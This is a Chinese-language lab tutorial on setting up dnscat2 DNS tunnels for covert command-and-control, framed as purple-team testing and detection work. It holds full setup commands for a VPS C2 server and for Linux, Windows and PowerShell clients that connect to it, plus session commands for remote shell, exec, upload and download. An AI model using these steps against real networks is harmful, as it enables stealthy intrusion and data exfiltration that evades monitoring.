1. 引言
1.1. 实验背景和目的
黑客在内网渗透过程中通常会使用各种加密算法、代理服务器、隧道技术等方式来加密和伪装网络通信,以躲避我们的防火墙、入侵检测系统、网络威胁检测与响应、网络流量分析等安全设备的检测与拦截。
-
掌握dnscat2搭建DNS隧道的步骤 -
掌握dnscat2的使用方法及应用场景 -
提取dnscat2流量及分析其特征
1.2. 实验的意义
对于乙方(安全产品厂商)来说,可以通过系统梳理各种攻击手段,以转换成安全设备的检测规则和检测模型,以达到优化和提升自身产品的目的。
对于甲方(安全产品使用方)来说,可以通过模拟这些攻击行为,来验证已部署的这些安全措施的防护效果,发现安全运营薄弱点,以达到确保安全防护持续有效、缩小被攻击的时间窗口的目的。
纵观市面上的网络安全产品,大体可以抽象成三层,分别是应用层、主机层和网络层。
-
应用层的有: -
邮件安全 -
身份安全 -
数据安全 -
主机层的有 -
主机入侵检测系统 -
终端检测与响应 -
容器安全 -
网络层的有: -
基于网络的入侵检测系统 -
网络威胁检测与响应 -
网络流量分析 -
应用防火墙
2. 基础知识
2.1. 隐秘通信隧道概览
隐秘通信隧道是一种绕过各类安全产品的通信技术。常用的隧道有:
-
应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道。 -
传输层:TCP隧道、UDP隧道、常规端口转发。 -
网络层:IPv6隧道、ICMP隧道、GRE隧道。
2.2. DNS隧道简介
DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据通信的技术。防火墙或入侵检测等设备通常不会过滤DNS流量,这为DNS成为隐蔽信道创造了条件,因此DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。
根据连接方式不同,可以把DNS隧道分为直连模式和中继模式两类:
直连模式:客户端直接和指定IP地址的DNS服务器建立连接,然后将需要传输的数据编码封装在DNS协议中进行通信。
中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。
区别在于直连模式速度相对快,但安全性相对较差。非直连模式速度相对较慢,但安全性相对较高。在实战中主要使用中继模式。
2.3. DNS记录类型
DNS的记录类型有很多,DNS隧道可以利用其中的一些记录类型来传输数据。
-
A记录 指定主机名(或域名)对应的IPV4地址记录 -
AAAA记录 指定主机名(或域名)对应的IPV6地址记录 -
NS记录 指定该域名由哪个DNS服务器来进行解析 -
MX记录 指向一个邮件服务器 -
PTR记录 将一个IP地址映射到对应的域名,也可以看成是A记录的反向 -
CNAME记录 允许将多个名字映射到同一台计算机 -
TXT记录 一般指主机名或域名的说明
2.4. DNS隧道搭建工具介绍
DNS隧道搭建的工具有很多,包括但不限于一下工具:
-
dnscat2:https://github.com/iagox86/dnscat2 -
Iodine:https://github.com/yarrick/iodine -
Dns2tcp:https://www.aldeid.com/wiki/Dns2tcp -
tcp-over-dns:https://analogbit.com/software/tcp-over-dns/ -
Heyoka:https://heyoka.sourceforge.net/ -
DeNise:https://github.com/mdornseif/DeNiSe
2.5. dnscat2简介
dnscat2是一款开源工具,该工具基于DNS协议来创建加密的命令和控制(C&C)通道。dnscat2的客户端使用C/C++语言编写,服务端使用Ruby语言编写。
使用dnscat2搭建的DNS隧道,可以支持直连模式和中继模式。如果目标内网放行所有的DNS请求,dnscat2可以使用直连模式,通过UDP的53端口进行通信。使用直连模式,会在请求数据包中带有比较明显的特征,即所有的域名都是以dnscat开头。如果目标内网的请求仅限于白名单服务器或指定的域,dnscat2可以使用中继模式。中继模式需要申请一个域名,并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。
dnscat2通过DNS进行控制并执行命令。与同类工具相比,dnscat2具有如下特点:
-
支持多个会话 -
流量加密 -
使用密钥防止MiTM攻击 -
在内存中直接执行PowerShell脚本 -
隐蔽通信
3. 实验过程
3.1. 前置准备
物料清单如下:
-
一个域名:rocsec.cc -
一台公网linux vps主机:144.xx.xxx.41 -
内网kali机器:192.168.110.163 -
内网win10机器:192.168.110.148
在https://dcc.godaddy.com/上购买域名。这里以rocsec.cc为例:
对,没错,为了做这个实验,我买了个为期三年的域名,和一个vps。
3.2. 搭建dnscat2隧道步骤
3.2.1. 设置域名解析
首先,用购买的那台公网linux vps(144.xx.xxx.41)作为C&C服务器。然后在域名管理的DNS解析中,添加一个A记录和一个NS记录。
首先创建记录A,将自己的域名ns1.rocsec.cc 解析到VPS服务器地址。
然后创建NS记录,将 api.rocsec.cc 指向ns1.rocsec.cc 。
第一条A记录是在告诉域名系统,ns1.rocsec.cc的IP地址是 144.xx.xxx.41 。
第二条NS记录是在告诉域名系统,想要知道 api.rocsec.cc 的IP地址,就去问ns1.rocsec.cc。
我们可以通过ping ns1.rocsec.cc,来验证dns解析是否成功。若能ping通,说明第一条A记录解析成功。
然后在我们的VPS上执行以下命令监听UDP 53端口
tcpdump -n -i eth0 udp dst port 53
然后执行其他任意主机上执行nslookup api.rocsec.cc命令,如果在我们的VPS上抓包获取如下信息,说明第二条NS记录解析成功。
3.2.2. 在公网VPS上部署dnscat2服务端
安装过程如下:
apt-get update
apt-get -y install gem ruby-dev libpq-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
3.2.3. 直连模式建立隧道
在VPS上运行服务端:
ruby ./dnscat2.rb host=0.0.0.0,port=53 --secret=direct_conn123456host:绑定的IPport:绑定的端口--secret:连接密钥
Linux客户端安装及运行:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
在kali上运行dnscat linux客户端:
./dnscat --dns server=144.xx.xxx.41 --secret=direct_conn123456
输出Session established!说明隧道建立成功。
Windows客户端安装及运行:
可以直接使用编译好的Windows客户端
https://downloads.skullsecurity.org/dnscat2/
.dnscat2-v0.07-client-win32.exe --dns server=144.xx.xxx.41 --secret=direct_conn123456
通过抓包我们可以看到,DNS请求里面,请求的域名是以dnscat开头,特征非常明显,容易被安全防护产品检测与拦截,实战中不建议使用。
3.2.4. 中继模式建立隧道
在VPS运行服务端:
ruby ./dnscat2.rb api.rocsec.cc -e open -c attck_test --no-cache
-e:指定安全级别,表示服务端允许客户端不进行加密
-c:指定密钥
--no-cache:禁止缓存
在kali上运行dnscat linux客户端:
/dnscat --dns domain=api.rocsec.cc --secret=attck_test
Windows客户端安装及运行:
可以直接使用编译好的Windows客户端:
https://downloads.skullsecurity.org/dnscat2/
.dnscat2-v0.07-client-win32.exe --dns domain=api.rocsec.cc --secret=attck_test
也可以使用powershell版本的dnscat2客户端:
https://github.com/lukebaggett/dnscat2-powershell
Import-Module .dnscat2.ps1
Start-Dnscat2 -Domain api.rocsec.cc -DNSServer 8.8.8.8
中继模式抓包分析:
我们通过执行nslookup api.rocsec.cc 抓取一个正常的数据包,看看是怎样的:
我们可以看到,正常的数据包,dns请求频率相对较小,并且请求数据相对干净,不会夹杂一长串的控制指令。
3.2.5. 服务端执行控制指令
sessions #查看当前建立的
session windows #查看当前建立的session,和sessions一样
session -i 1 #进入第一个session,和MSF一样
window -i 1 #进入第一个session,和session -i 1一样
* clear:清屏
* delay:修改远程响应延时
* download:下载文件
* echo:发送echo消息
* exec:执行指定程序
* help:查看帮助信息
* listen:类似于SSH隧道的-L参数(本地转发)
* ping:用于确认目标机器是否在线,若返回pong,说明目标机器在线
* quit:退出dnscat2控制台
* set:设置值,例如设置 security=open
* shell:得到一个反弹的shell
* shutdown:切断当前会话
* suspend:返回上一层,相当于使用快捷键 Ctrl+Z
* tunnels:查看dns隧道
* unset:取消set设置的值
* upload:上传文件
* window:进入指定session,和session一样
* windows:查看当前建立的session,和sessions一样
服务端执行结果:
被控端执行结果:
4. 实验总结
4.1. 总结
dnscat2可以部署直连模式和中继模式的DNS隧道,直连模式建立的DNS隧道,会在请求数据包中带有比较明显的特征,即所有的域名都是以dnscat开头。中继模式建立的DNS隧道,需要申请一个域名,相较于直连模式,更隐蔽。但也不是无迹可寻。
4.2. 遇到的问题及解决办法
坑点一:关闭默认53端口和开机自启动
Dnscat2默认使用udp 53端口通信,如果不想更改默认端口,则需要把vps上的systemd-resolved服务关闭,命令如下:
systemctlstop systemd-resolved
systemctldisable systemd-resolved
实验完毕后,可以通过如下命令,开启systemd-resolved服务
sudosystemctl restart systemd-resolved.service
坑点二:ruby版本问题导致服务端安装失败
可以使用docker版本
docker pull arno0x0x/dnscat2
docker run --rm -ti --privileged -p 53:53/udp -e DOMAIN_NAME="api.rocsec.cc" --name dnscat2 arno0x0x/dnscat2
原文始发于微信公众号(Roc安全空间站):隐秘通信-使用dnscat2搭建DNS隧道实验